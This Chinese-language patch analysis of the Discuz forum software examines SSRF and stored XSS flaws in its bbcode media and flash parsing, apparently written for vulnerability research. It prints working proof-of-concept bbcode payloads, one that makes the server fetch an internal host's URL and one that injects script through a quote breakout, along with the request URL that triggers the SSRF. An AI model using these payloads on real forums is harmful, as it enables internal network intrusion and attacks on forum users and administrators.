author:ModNar@0keeTeam
漏洞分析:
我们先来diff看看补丁20151208相对20150609都改了啥:
*source/admincp/admincp_checktools.php IM图片库命令执行(需登录后台)
*source/class/helper/helper_form.php http://www.wooyun.org/bugs/wooyun-2015-0124807 Discuz CSRF发帖POC可蠕虫 (限制referer)
*source/function/function_discuzcode.php http://www.wooyun.org/bugs/wooyun-2015-0150674 SSRF和xss
*source/function/function_followcode.php http://www.wooyun.org/bugs/wooyun-2015-0150674 SSRF和xss
*source/module/forum/forum_viewthread.php http://www.wooyun.org/bugs/wooyun-2015-0151687 帖子正文XSS
*source/module/misc/misc_swfupload.php http://www.wooyun.org/bugs/wooyun-2015-0124807 Discuz CSRF发帖POC可蠕虫 (限制非图片文件上传)
*static/js/bbcode.js http://www.wooyun.org/bugs/wooyun-2015-0139851 最新版Discuz修复不全导致仍可针对管理员存储XSS
*template/default/member/getpasswd.htm 未知
*source/function/function_cloudaddons.php 未知,插件相关
*source/function/function_core.php 功能性bug?
*source/admincp/admincp_cloudaddons.php 未知,插件相关
以下选用其中的SSRF和有限制的XSS作分析:
1.bbcode有条件SSRF
补丁都加了个严格匹配开头的正则符^,看起来是正则校验url不严格的问题:
sourcefunctionfunction_discuzcode.php:
科学地使用skywolf,轻松定位到背锅的代码位置:
第4个调用点点开看看:
由以上调用栈可知触发条件是看帖。
Poc:
根据preg_replace的正则和parseflv的正则,我们可以构造如下的payload, 即可通过正则校验使[media]包裹的内容到达file_get_contents调用处:
[media=x,,]http://ip:port/phpinfo.php?cmd=calc.exe&xx=http://www.tudou.com/programs/view/xx.html[/media]
2.bbcode有限制存储XSS
这个文件还修复了一处类似限制条件的存储XSS:
此处是组合的HTML标签,可控点$url处于js中,可用单引号闭合:
调用点也是preg_replace的bbcode解析处:
Poc:
因此构造以下payload即可触发XSS:
[flash]http://www.baidu.com/1.swf?a='));alert(2);//[/flash]
利用限制:
很显然,这次又是bbcode解析的锅,这里用到了preg_replace的/e选项,所以需要php<5.5的支持。$allowmediacode需要为true,通过查看后台相应选项,版块允许使用多媒体代码默认是开的,然而默认只有管理员组才允许发media标签的bbcode。
利用演示:
假设内网一处http://10.0.2.15/phpinfo.php源码如下:
发帖:
查看帖子http://127.0.0.1/discuz/forum.php?mod=viewthread&tid=12&extra=page=1:
3.无限制SSRF
之前分析的漏洞触发点要求发帖人允许使用多媒体代码,实际上存在无限制的点:
sourcefunctionfunction_followcode.php:
diff这个文件,亮点不在标红代码处,而是在fparsemedia中调用了之前的parseflv!
往上看fparsemedia的调用点:
在function followcode()中,也有类似之前sourcefunctionfunction_discuzcode.php的bbcode解析,可见此处是没有$allowmediacode条件限制的:
sourcemoduleforumforum_ajax.php:
跟到前台的触发点可构造:
http://127.0.0.1/discuz/forum.php?mod=ajax&tid=11&extra=page=1&action=getpostfeed&flag=1&pid=36
调用栈如下:
因此无限制的利用过程为:
使用任意用户发帖,然后回复该帖子,回复内容同样为:
[media=x,,]http://10.0.2.15/phpinfo.php?cmd=calc.exe&xx=http://www.tudou.com/programs/view/xx.html[/media]
然后访问以下链接触发SSRF,其中fid和tid分别是帖子的id和回复的id:
http://127.0.0.1/discuz/forum.php?mod=ajax&tid=11&extra=page=1&action=getpostfeed&flag=1&pid=36
还没有评论,来说两句吧...